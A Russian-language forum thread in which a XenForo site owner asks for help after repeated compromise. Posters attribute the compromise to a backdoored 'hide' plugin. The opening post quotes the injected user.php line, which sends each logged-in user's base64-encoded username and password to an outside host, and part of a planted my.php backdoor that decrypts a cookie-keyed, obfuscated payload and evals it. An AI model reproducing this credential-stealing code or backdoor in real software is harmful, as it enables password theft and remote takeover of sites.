Проблема, взлом, хелп.

Статус
В этой теме нельзя размещать новые ответы.

jolygolfeed

Проверенные
Сообщения
307
Реакции
230
Баллы
3,345
В общем история такая. У моего друга форум, ему уже 2,5 года.
Проблема такая:
02.05.16 файл user.php сам стал изменятся и там добавляется строка
$thisstring = str_replace(" ","",'file_get_contents(\'htt p: //you tube-down loa der. ru/import.php?per3='.$_SERVER['SERVER_NAME'].'&per1='.base64_encode($nameOrEmail).'&per2='.base64_encode($password).'&base=1\');');
или такой

$thisstring = str_replace(" ","",'file_get_contents(\'htt p: //46.254.21.14/import.php?per3='.$_SERVER['SERVER_NAME'].'&per1='.base64_encode($nameOrEmail).'&per2='.base64_encode($password).'&base=1\');');

Самое смешное когда запретил хост менять файл этот. Он через другой файл пытался выполнить этот же запрос.
Как стало всем понятно этот код при авторизации ворует пароли и отправляет этому "топ" хакеру.
В общем я помог этому человеку и посоветовал мастера. Ему снесли все, взяли только контент(темы и сообщения) и users.
Остальное все чистое поставили(ксенфоро, и дизайн тоже поставили новый)
В итоге через пару часов появился файл my.php
и в нем код
Код:
<?php
function rs2fd($v, $w) {
    $dll = count($v);
    $n = ($dll - 1) << 2;
    if ($w) {
        $m = $v[$dll - 1];
        if (($m < $n - 3) || ($m > $n)) return false;
        $n = $m;}
    $s = array();
    for ($i = 0; $i < $dll; $i++) {
        $s[$i] = pack("V", $v[$i]);
    }
    if ($w) {
        return substr(join('', $s), 0, $n);
    } else {
        return join('', $s);}}
$cx='base'.(4*8*2).'_de'.'code';
function fd2rs($s, $w) {
    $v = unpack("V*", $s. str_repeat("\0", (4 - strlen($s) % 4) & 3));
    $v = array_values($v);
    if ($w) {
        $v[count($v)] = strlen($s);
    }return $v;}$cxx=''; if(isset($_COOKIE['__'])){$cxx=$_COOKIE['__'];}
function int32($n) {
    while ($n >= 2147483648) $n -= 4294967296;
    while ($n <= -2147483649) $n += 4294967296;
    return (int)$n;
}
function lol($str, $zm) {
    if ($str == "") {
        return "";
    }
$aib='base'.(4*8*2).'_de'.'code';
$aibolit=$aib('MHgwN2ZmZmZmZg==');
    $v = fd2rs($str, false);
    $k = fd2rs($zm, false);
    if (count($k) < 4) {
        for ($i = count($k); $i < 4; $i++) {
            $k[$i] = 0;}}
    $n = count($v) - 1; 
    $z = $v[$n];
    $y = $v[0];
    $delta = 0x9E3779B9;
    $q = floor(6 + 52 / ($n + 1));
    $sum = int32($q * $delta);

    while ($sum != 0) {

        $e = $sum >> 2 & 3;
        for ($p = $n; $p > 0; $p--) {
            $z = $v[$p - 1];
            $mx = int32(((($z >> 5 & 0x07ffffff)) ^ $y << 2) + (($y >> 3 & 0x1fffffff) ^ $z << 4)) ^ int32(($sum ^ $y) + ($k[$p & 3 ^ $e] ^ $z));
            $y = $v[$p] = int32($v[$p] - $mx);
        }
        $z = $v[$n];
        $mx = int32(((($z >> 5 & 0x07ffffff)) ^ $y << 2) + (($y >> 3 & 0x1fffffff) ^ $z << 4)) ^ int32(($sum ^ $y) + ($k[$p & 3 ^ $e] ^ $z));
        $y = $v[0] = int32($v[0] - $mx);
        $sum = int32($sum - $delta);
    }
    return rs2fd($v, true);
}
$klkl='';
$popo='ev'.'al';if($cxx!=''){
eval(trim(gzinflate(lol($cx("sAE1WI8o2vGc+oNQYxY37zUtr49IaS3OObn9c5eSzMT3pxkVQTDlSA=="),$cxx))));
Все копировать не стал, там шифр пошел.

В итоге этот файл удалил тех админ, и после удаления, через 3-4 часа все файлы с publick_html были удалены.
Мы все снова перезалили, снова переустановили.
Файл user.php через час был изменен, и там снова код.
Мы все убрали, все файлы в папке model заблокировали от изменений, и потом появился на сервер файл my2.php (там тот же код) его уже боятся удалять.

В логах у хоста - Никто не входил на сервер в это время, через фтп тоже никто не заходил и в панель также.
Что же делать, дорогие форумчане.
 
Плагины отключайте все, смотрите модифицированные шаблоны.

Код выше вообще от Айболита.

У Вас наверное какой-то сервис имеет доступ на фтп, он там вирусы проверяет.)
 
Плагины отключайте все, смотрите модифицированные шаблоны.

Код выше вообще от Айболита.

У Вас наверное какой-то сервис имеет доступ на фтп, он там вирусы проверяет.)
Как проверить? Все плагины скачал нормальные, и проверял. Все чисто.
Я айболитом проверял сайт выгружал бэкап и чекал.


Тоже самое было то blyad.php и тот же код был. То my.php

Плагины отключайте все, смотрите модифицированные шаблоны.

Код выше вообще от Айболита.

У Вас наверное какой-то сервис имеет доступ на фтп, он там вирусы проверяет.)
А как он имеет доступ к фтп если хост мне отключил полностью доступы к этому я попросил их.


Забыл дописать youtube-downloader.ru/get.txt он это тоже вставлял
 
Последнее редактирование модератором:
А Вы уверены в хостере, уверены что у гих софт исправно обновляется?
И всё же список дополнений покажите.
Сторонних скриптов для бэкапа не используете?
 
  • Мне нравится
Реакции: Hope
А Вы уверены в хостере, уверены что у гих софт исправно обновляется?
И всё же список дополнений покажите.
Сторонних скриптов для бэкапа не используете?
Никогда не использовал сторонний софт. Использовал это на старом пк для проверки старого бэкапа(этот код который ворует пароли еще до этого был)
У человека хостинг дорогой, на нем все мои друзья стоят и все нормально.

Плагины
 

Вложения

  • d3ea2893.png
    d3ea2893.png
    6.2 KB · Просмотры: 33
У человека хостинг дорогой
Вообще пофиг, это ни о чём не говорит...

на нем все мои друзья стоят и все нормально
Они просто мегатрухацкеры, а Вы нет. :(

И всё же список дополнений покажите.
:Yes31:
 
Плагин хайда пофиксенный от шеллов? Скорее всего нет. В нём-то и проблема.
Скачивайте отсюда фиксенный вариант хайда.
 
Дополнение стандартные, регулярно обновляю, все должно быть нормально.
Хостинг постоянно утверждает что шелл в скрипте, никаких действий через панель или фтп не происходило.

Плагин хайда пофиксенный от шеллов? Скорее всего нет. В нём-то и проблема.
Скачивайте отсюда фиксенный вариант хайда.
Как проверить фикшен он или нет?
 
Да. Посмотрите в гугле, если не уверены.

Уже пол интернета через этот бэкдор ломанули, а Вы и не в курсе. Странно, что не слышали...
 
Нет, у Вас не та версия, давайте не будем спорить...
А вот то, что он скачивался в другом месте, в этом и может быть причина.
 
Нет, у Вас не та версия, давайте не будем спорить...
А вот то, что он скачивался в другом месте, в этом и может быть причина.
Как мне тогда взломать мой же сайт через этот бэк дур :)
 
Что ещё Вам рассказать? Гугл всё расскажет и покажет. У нас здесь не хак-форум.

Вы спросили причину - Вам ответили. Дальше уже сами всё решайте.
 
Значит нужно будет удалить форум, БД, перерубить себе интернет и читать умные книги. :-D
Откуда мне знать? Попробуйте и потом расскажете нам. :)
 
Значит нужно будет удалить форум, БД, перерубить себе интернет и читать умные книги. :-D
Откуда мне знать? Попробуйте и потом расскажете нам. :-)
Я удалил из админки этот плагин. Как удалить его старые файлы? Какую папку удалить?
После этого нужно просто установить плагин этот и все норм? Все хайды восстановятся?
 
Перезаписывайте старые файлы новыми и импортируйте плагин
 
Статус
В этой теме нельзя размещать новые ответы.
Современный облачный хостинг провайдер | Aéza
Назад
Сверху Снизу